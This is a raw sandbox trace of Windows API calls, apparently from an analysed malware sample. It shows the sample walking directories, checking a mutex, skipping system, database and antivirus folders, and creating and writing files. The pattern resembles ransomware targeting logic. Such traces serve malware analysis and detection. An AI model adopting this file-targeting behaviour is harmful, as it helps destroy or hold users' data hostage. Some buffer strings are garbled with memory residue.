[0283.628] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.628] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.628] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.628] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.628] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.628] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.628] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.628] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.628] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.629] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.629] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.629] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.629] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.629] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.629] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.629] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.629] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.629] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.629] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.629] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.629] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.629] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.629] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.629] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.629] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.629] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.629] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.629] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.629] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.630] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.630] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.630] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.630] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.632] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.632] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.632] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.632] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.632] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.632] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.632] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.632] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.632] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.632] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.632] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.632] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.632] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.632] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.633] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.633] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.633] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.633] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.633] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.633] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.633] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.633] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.633] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.633] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.633] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.633] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.633] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.633] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.633] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.633] GetLastError () returned 0x12 [0283.633] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.634] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.634] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.634] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.634] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.634] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.634] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.634] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.634] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.634] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.634] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.634] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.634] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.634] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.634] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.634] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.634] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.634] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.634] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.634] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.635] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.635] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.635] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.635] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.635] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\3082", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\3082") returned 1 [0283.635] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.635] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.635] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.635] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.635] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.635] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.635] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.635] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.635] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.635] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.635] GetLastError () returned 0x3 [0283.636] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0283.636] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.636] GetLastError () returned 0x2 [0283.636] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0283.636] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.636] GetLastError () returned 0x2 [0283.636] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0283.636] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.637] GetLastError () returned 0x2 [0283.637] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0283.637] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.637] GetLastError () returned 0x2 [0283.637] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0283.637] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.637] GetLastError () returned 0x2 [0283.637] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0283.637] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.637] GetLastError () returned 0x2 [0283.638] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0283.638] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.638] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.638] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.638] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.638] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.638] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.638] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.638] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.638] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.638] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.638] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0283.638] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.638] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0283.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0283.638] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.638] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2ab28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.638] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.639] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0283.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.639] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.639] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.639] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.639] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.639] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.639] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.639] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.639] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.639] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.639] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2ab28, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.639] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.639] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.639] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2ab28, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0283.640] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0283.640] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0283.640] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0283.640] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.640] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2ab28, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0283.640] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0283.640] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0283.640] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0283.640] SHGetPathFromIDListW (in: pidl=0x6e47e8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.641] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.641] IMalloc:Free (This=0x75e4d000, pv=0x6e47e8) [0283.641] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0283.641] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0283.641] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.641] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.641] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.641] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.641] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.641] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.641] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.641] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.641] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.641] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.642] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.642] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.642] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.642] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.642] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.642] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.642] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.642] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.642] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.642] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.642] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.642] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.642] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.642] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.642] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0283.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.643] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.643] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0283.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0283.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\я" (normalized: "c:\\588bce7c90097ed212\\3082\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.680] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0283.681] CloseHandle 